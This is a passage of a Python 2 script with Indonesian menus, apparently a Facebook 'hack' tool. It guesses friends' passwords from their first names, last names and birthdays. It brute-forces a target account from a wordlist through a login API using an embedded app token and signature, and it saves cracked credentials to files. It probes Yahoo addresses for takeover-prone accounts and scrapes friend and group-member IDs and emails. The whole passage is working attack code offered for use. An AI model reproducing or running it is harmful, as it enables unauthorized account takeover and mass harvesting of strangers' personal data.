  611.             a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
  612.             b = json.loads(a.text)
  613.             pass1 = b['first_name'] + '123'
  614.             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  615.             q = json.load(data)
  616.             if 'access_token' in q:
  617.                 print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1
  618.             else:
  619.                 if 'www.facebook.com' in q['error_msg']:
  620.                     print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1
  621.                 else:
  622.                     pass2 = b['first_name'] + '12345'
  623.                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  624.                     q = json.load(data)
  625.                     if 'access_token' in q:
  626.                         print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2
  627.                     else:
  628.                         if 'www.facebook.com' in q['error_msg']:
  629.                             print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2
  630.                         else:
  631.                             pass3 = b['last_name'] + '123'
  632.                             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  633.                             q = json.load(data)
  634.                             if 'access_token' in q:
  635.                                 print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3
  636.                             else:
  637.                                 if 'www.facebook.com' in q['error_msg']:
  638.                                     print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3
  639.                                 else:
  640.                                     lahir = b['birthday']
  641.                                     pass4 = lahir.replace('/', '')
  642.                                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  643.                                     q = json.load(data)
  644.                                     if 'access_token' in q:
  645.                                         print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4
  646.                                     else:
  647.                                         if 'www.facebook.com' in q['error_msg']:
  648.                                             print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4
  649.         except:
  650.             pass
  651.  
  652.     p = ThreadPool(30)
  653.     p.map(main, id)
  654.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  655.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  656.     super()
  657.  
  658.  
  659. def brute():
  660.     os.system('reset')
  661.     try:
  662.         toket = open('login.txt', 'r').read()
  663.     except IOError:
  664.         print '\x1b[1;91m[!] Token tidak ditemukan'
  665.         os.system('rm -rf login.txt')
  666.         time.sleep(1)
  667.         login()
  668.     else:
  669.         os.system('reset')
  670.         print logo
  671.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  672.         try:
  673.             email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ')
  674.             passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m')
  675.             total = open(passw, 'r')
  676.             total = total.readlines()
  677.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  678.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email
  679.             print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword'
  680.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  681.             sandi = open(passw, 'r')
  682.             for pw in sandi:
  683.                 try:
  684.                     pw = pw.replace('\n', '')
  685.                     sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw)
  686.                     sys.stdout.flush()
  687.                     data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  688.                     mpsh = json.loads(data.text)
  689.                     if 'access_token' in mpsh:
  690.                         dapat = open('Brute.txt', 'w')
  691.                         dapat.write(email + ' | ' + pw + '\n')
  692.                         dapat.close()
  693.                         print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  694.                         print 40 * '\x1b[1;97m\xe2\x95\x90'
  695.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
  696.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
  697.                         keluar()
  698.                     else:
  699.                         if 'www.facebook.com' in mpsh['error_msg']:
  700.                             ceks = open('Brutecekpoint.txt', 'w')
  701.                             ceks.write(email + ' | ' + pw + '\n')
  702.                             ceks.close()
  703.                             print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  704.                             print 40 * '\x1b[1;97m\xe2\x95\x90'
  705.                             print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  706.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
  707.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
  708.                             keluar()
  709.                 except requests.exceptions.ConnectionError:
  710.                     print '\x1b[1;91m[!] Koneksi Error'
  711.                     time.sleep(1)
  712.  
  713.         except IOError:
  714.             print '\x1b[1;91m[!] File tidak ditemukan...'
  715.             print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist'
  716.             tanyaw()
  717.  
  718.  
  719. def tanyaw():
  720.     why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ')
  721.     if why == '':
  722.         print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)'
  723.         tanyaw()
  724.     else:
  725.         if why == 'y':
  726.             wordlist()
  727.         else:
  728.             if why == 'Y':
  729.                 wordlist()
  730.             else:
  731.                 if why == 't':
  732.                     menu_hack()
  733.                 else:
  734.                     if why == 'T':
  735.                         menu_hack()
  736.                     else:
  737.                         print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)'
  738.                         tanyaw()
  739.  
  740.  
  741. def menu_yahoo():
  742.     os.system('reset')
  743.     try:
  744.         toket = open('login.txt', 'r').read()
  745.     except IOError:
  746.         print '\x1b[1;91m[!] Token tidak ditemukan'
  747.         os.system('rm -rf login.txt')
  748.         time.sleep(1)
  749.         login()
  750.  
  751.     os.system('reset')
  752.     print logo
  753.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  754.     print '\x1b[1;37;40m1. Dari teman facebook'
  755.     print '\x1b[1;37;40m2. Gunakan File'
  756.     print '\x1b[1;31;40m0. Kembali'
  757.     print
  758.     yahoo_pilih()
  759.  
  760.  
  761. def yahoo_pilih():
  762.     go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  763.     if go == '':
  764.         print '\x1b[1;91m[!] Jangan kosong'
  765.         yahoo_pilih()
  766.     else:
  767.         if go == '1':
  768.             yahoofriends()
  769.         else:
  770.             if go == '2':
  771.                 yahoolist()
  772.             else:
  773.                 if go == '0':
  774.                     menu_hack()
  775.                 else:
  776.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada'
  777.                     yahoo_pilih()
  778.  
  779.  
  780. def yahoofriends():
  781.     os.system('reset')
  782.     try:
  783.         toket = open('login.txt', 'r').read()
  784.     except IOError:
  785.         print '\x1b[1;91m[!] Token tidak ditemukan'
  786.         os.system('rm -rf login.txt')
  787.         time.sleep(1)
  788.         login()
  789.  
  790.     os.system('reset')
  791.     print logo
  792.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  793.     mpsh = []
  794.     jml = 0
  795.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  796.     teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  797.     kimak = json.loads(teman.text)
  798.     save = open('MailVuln.txt', 'w')
  799.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  800.     for w in kimak['data']:
  801.         jml += 1
  802.         mpsh.append(jml)
  803.         id = w['id']
  804.         nama = w['name']
  805.         links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
  806.         z = json.loads(links.text)
  807.         try:
  808.             mail = z['email']
  809.             yahoo = re.compile('@.*')
  810.             otw = yahoo.search(mail).group()
  811.             if 'yahoo.com' in otw:
  812.                 br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  813.                 br._factory.is_html = True
  814.                 br.select_form(nr=0)
  815.                 br['username'] = mail
  816.                 klik = br.submit().read()
  817.                 jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  818.                 try:
  819.                     pek = jok.search(klik).group()
  820.                 except:
  821.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  822.                     continue
  823.  
  824.                 if '"messages.ERROR_INVALID_USERNAME">' in pek:
  825.                     save.write(mail + '\n')
  826.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  827.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + nama
  828.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + id
  829.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]'
  830.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  831.                 else:
  832.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  833.         except KeyError:
  834.             pass
  835.  
  836.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  837.     print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  838.     save.close()
  839.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  840.     menu_yahoo()
  841.  
  842.  
  843. def yahoolist():
  844.     os.system('reset')
  845.     try:
  846.         toket = open('login.txt', 'r').read()
  847.     except IOError:
  848.         print '\x1b[1;91m[!] Token tidak ditemukan'
  849.         os.system('rm -rf login.txt')
  850.         time.sleep(1)
  851.         login()
  852.     else:
  853.         os.system('reset')
  854.         print logo
  855.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  856.         files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m')
  857.         try:
  858.             total = open(files, 'r')
  859.             mail = total.readlines()
  860.         except IOError:
  861.             print '\x1b[1;91m[!] File tidak ada'
  862.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  863.             menu_yahoo()
  864.  
  865.     mpsh = []
  866.     jml = 0
  867.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  868.     save = open('MailVuln.txt', 'w')
  869.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  870.     print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m:  \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m]  Green[\x1b[1;92m' + vuln + '\x1b[1;97m]'
  871.     print
  872.     mail = open(files, 'r').readlines()
  873.     for pw in mail:
  874.         mail = pw.replace('\n', '')
  875.         jml += 1
  876.         mpsh.append(jml)
  877.         yahoo = re.compile('@.*')
  878.         otw = yahoo.search(mail).group()
  879.         if 'yahoo.com' in otw:
  880.             br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  881.             br._factory.is_html = True
  882.             br.select_form(nr=0)
  883.             br['username'] = mail
  884.             klik = br.submit().read()
  885.             jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  886.             try:
  887.                 pek = jok.search(klik).group()
  888.             except:
  889.                 print '\x1b[1;91m ' + mail
  890.                 continue
  891.  
  892.             if '"messages.ERROR_INVALID_USERNAME">' in pek:
  893.                 save.write(mail + '\n')
  894.                 print '\x1b[1;92m ' + mail
  895.             else:
  896.                 print '\x1b[1;91m ' + mail
  897.  
  898.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  899.     print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  900.     save.close()
  901.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  902.     menu_yahoo()
  903.  
  904.  
  905. def grab():
  906.     os.system('reset')
  907.     try:
  908.         toket = open('login.txt', 'r').read()
  909.     except IOError:
  910.         print '\x1b[1;91m[!] Token tidak ditemukan'
  911.         os.system('rm -rf login.txt')
  912.         time.sleep(1)
  913.         login()
  914.  
  915.     os.system('reset')
  916.     print logo
  917.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  918.     print '\x1b[1;37;40m1. Ambil ID teman'
  919.     print '\x1b[1;37;40m2. Ambil ID teman dari teman'
  920.     print '\x1b[1;37;40m3. Ambil ID member GRUP'
  921.     print '\x1b[1;37;40m4. Ambil Email teman'
  922.     print '\x1b[1;37;40m5. Ambil Email teman dari teman'
  923.     print '\x1b[1;37;40m6. Ambil No HP teman'
  924.     print '\x1b[1;37;40m7. Ambil No HP teman dari teman'
  925.     print '\x1b[1;31;40m0. Kembali'
  926.     print
  927.     grab_pilih()
  928.  
  929.  
  930. def grab_pilih():
  931.     cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  932.     if cuih == '':
  933.         print '\x1b[1;91m[!] Jangan kosong'
  934.         grab_pilih()
  935.     else:
  936.         if cuih == '1':
  937.             id_teman()
  938.         else:
  939.             if cuih == '2':
  940.                 idfrom_teman()
  941.             else:
  942.                 if cuih == '3':
  943.                     id_member_grup()
  944.                 else:
  945.                     if cuih == '4':
  946.                         email()
  947.                     else:
  948.                         if cuih == '5':
  949.                             emailfrom_teman()
  950.                         else:
  951.                             if cuih == '6':
  952.                                 nomor_hp()
  953.                             else:
  954.                                 if cuih == '7':
  955.                                     hpfrom_teman()
  956.                                 else:
  957.                                     if cuih == '0':
  958.                                         menu_hack()
  959.                                     else:
  960.                                         print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada'
  961.                                         grab_pilih()
  962.  
  963.  
  964. def id_teman():
  965.     os.system('reset')
  966.     try:
  967.         toket = open('login.txt', 'r').read()
  968.     except IOError:
  969.         print '\x1b[1;91m[!] Token tidak ditemukan'
  970.         os.system('rm -rf login.txt')
  971.         time.sleep(1)
  972.         login()
  973.     else:
  974.         try:
  975.             os.system('reset')
  976.             print logo
  977.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  978.             r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  979.             z = json.loads(r.text)
  980.             save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  981.             bz = open(save_id, 'w')
  982.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  983.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  984.             for ah in z['data']:
  985.                 idteman.append(ah['id'])
  986.                 bz.write(ah['id'] + '\n')
  987.                 print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + ah['name']
  988.                 print '\x1b[1;92mID   \x1b[1;91m : \x1b[1;97m' + ah['id']
  989.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  990.  
  991.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman)
  992.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id
  993.             bz.close()
  994.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  995.             grab()
  996.         except IOError:
  997.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  998.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  999.             grab()
  1000.         except (KeyboardInterrupt, EOFError):
  1001.             print '\x1b[1;91m[!] Terhenti'
  1002.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1003.             grab()
  1004.         except KeyError:
  1005.             os.remove(save_id)
  1006.             print '\x1b[1;91m[!] Kesalahan terjadi'
  1007.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1008.             grab()
  1009.         except requests.exceptions.ConnectionError:
  1010.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1011.             keluar()
  1012.  
  1013.  
  1014. def idfrom_teman():
  1015.     os.system('reset')
  1016.     try:
  1017.         toket = open('login.txt', 'r').read()
  1018.     except IOError:
  1019.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1020.         os.system('rm -rf login.txt')
  1021.         time.sleep(1)
  1022.         login()
  1023.     else:
  1024.         try:
  1025.             os.system('reset')
  1026.             print logo
  1027.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1028.             idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m')
  1029.             try:
  1030.                 jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
  1031.                 op = json.loads(jok.text)
  1032.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
  1033.             except KeyError:
  1034.                 print '\x1b[1;91m[!] Belum berteman'
  1035.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1036.                 grab()
  1037.  
  1038.             r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket)
  1039.             z = json.loads(r.text)
  1040.             save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1041.             bz = open(save_idt, 'w')
  1042.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1043.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1044.             for ah in z['friends']['data']:
  1045.                 idfromteman.append(ah['id'])
  1046.                 bz.write(ah['id'] + '\n')
  1047.                 print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + ah['name']
  1048.                 print '\x1b[1;92mID   \x1b[1;91m : \x1b[1;97m' + ah['id']
  1049.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  1050.  
  1051.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman)
  1052.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt
  1053.             bz.close()
  1054.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1055.             grab()
  1056.         except IOError:
  1057.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1058.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1059.             grab()
  1060.         except (KeyboardInterrupt, EOFError):
  1061.             print '\x1b[1;91m[!] Terhenti'
  1062.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1063.             grab()
  1064.         except requests.exceptions.ConnectionError:
  1065.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1066.             keluar()
  1067.  
  1068.  
  1069. def id_member_grup():
  1070.     os.system('reset')
  1071.     try:
  1072.         toket = open('login.txt', 'r').read()
  1073.     except IOError:
  1074.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1075.         os.system('rm -rf login.txt')
  1076.         time.sleep(1)
  1077.         login()
  1078.     else:
  1079.         try:
  1080.             os.system('reset')
  1081.             print logo
  1082.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1083.             id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ')
  1084.             try:
  1085.                 r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
  1086.                 asw = json.loads(r.text)
  1087.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  1088.             except KeyError:
  1089.                 print '\x1b[1;91m[!] Grup tidak ditemukan'
  1090.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1091.                 grab()
  1092.  
  1093.             simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1094.             b = open(simg, 'w')
  1095.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1096.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1097.             re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket)
  1098.             s = json.loads(re.text)
  1099.             for i in s['data']:
  1100.                 idmem.append(i['id'])
  1101.                 b.write(i['id'] + '\n')
  1102.                 print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + i['name']
  1103.                 print '\x1b[1;92mID  \x1b[1;91m  :\x1b[1;97m ' + i['id']
  1104.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  1105.  
  1106.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem)
  1107.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg
  1108.             b.close()
  1109.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1110.             grab()
  1111.         except IOError:
  1112.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1113.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1114.             grab()
  1115.         except (KeyboardInterrupt, EOFError):
  1116.             print '\x1b[1;91m[!] Terhenti'
  1117.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1118.             grab()
  1119.         except KeyError:
  1120.             os.remove(simg)
  1121.             print '\x1b[1;91m[!] Grup tidak ditemukan'
  1122.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1123.             grab()
  1124.         except requests.exceptions.ConnectionError:
  1125.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1126.             keluar()
  1127.  
  1128.  
  1129. def email():
  1130.     os.system('reset')
  1131.     try:
  1132.         toket = open('login.txt', 'r').read()
  1133.     except IOError:
  1134.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1135.         os.system('rm -rf login.txt')
  1136.         time.sleep(1)
  1137.         login()
  1138.     else:
  1139.         try:
  1140.             os.system('reset')
  1141.             print logo
  1142.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1143.             mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1144.             r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  1145.             a = json.loads(r.text)
  1146.             mpsh = open(mails, 'w')
  1147.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1148.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1149.             for i in a['data']:
  1150.                 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
  1151.                 z = json.loads(x.text)
  1152.                 try:
  1153.                     em.append(z['email'])
  1154.                     mpsh.write(z['email'] + '\n')
  1155.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1156.                     print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
  1157.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1158.                 except KeyError:
  1159.                     pass
  1160.  
  1161.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em)
  1162.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails
  1163.             mpsh.close()
  1164.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1165.             grab()
  1166.         except IOError:
  1167.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1168.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1169.             grab()
  1170.         except (KeyboardInterrupt, EOFError):
  1171.             print '\x1b[1;91m[!] Terhenti'
  1172.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1173.             grab()
  1174.         except KeyError:
  1175.             os.remove(mails)
  1176.             print '\x1b[1;91m[!] Kesalahan terjadi'
  1177.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1178.             grab()
  1179.         except requests.exceptions.ConnectionError:
  1180.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1181.             keluar()
  1182.  
  1183.  
  1184. def emailfrom_teman():
  1185.     os.system('reset')
  1186.     try:
  1187.         toket = open('login.txt', 'r').read()
  1188.     except IOError:
  1189.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1190.         os.system('rm -rf login.txt')
  1191.         time.sleep(1)
  1192.         login()
  1193.     else:
  1194.         try:
  1195.             os.system('reset')
  1196.             print logo
  1197.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1198.             idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m')
  1199.             try:
  1200.                 jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
  1201.                 op = json.loads(jok.text)
  1202.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
  1203.             except KeyError:
  1204.                 print '\x1b[1;91m[!] Belum berteman'
  1205.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1206.                 grab()
  1207.  
  1208.             mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1209.             r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
  1210.             a = json.loads(r.text)
  1211.             mpsh = open(mails, 'w')
  1212.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1213.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1214.             for i in a['data']:
  1215.                 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
  1216.                 z = json.loads(x.text)
  1217.                 try:
  1218.                     emfromteman.append(z['email'])
  1219.                     mpsh.write(z['email'] + '\n')
  1220.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1221.                     print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
  1222.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1223.                 except KeyError:
  1224.                     pass
  1225.  
  1226.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman)
  1227.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails
  1228.             mpsh.close()
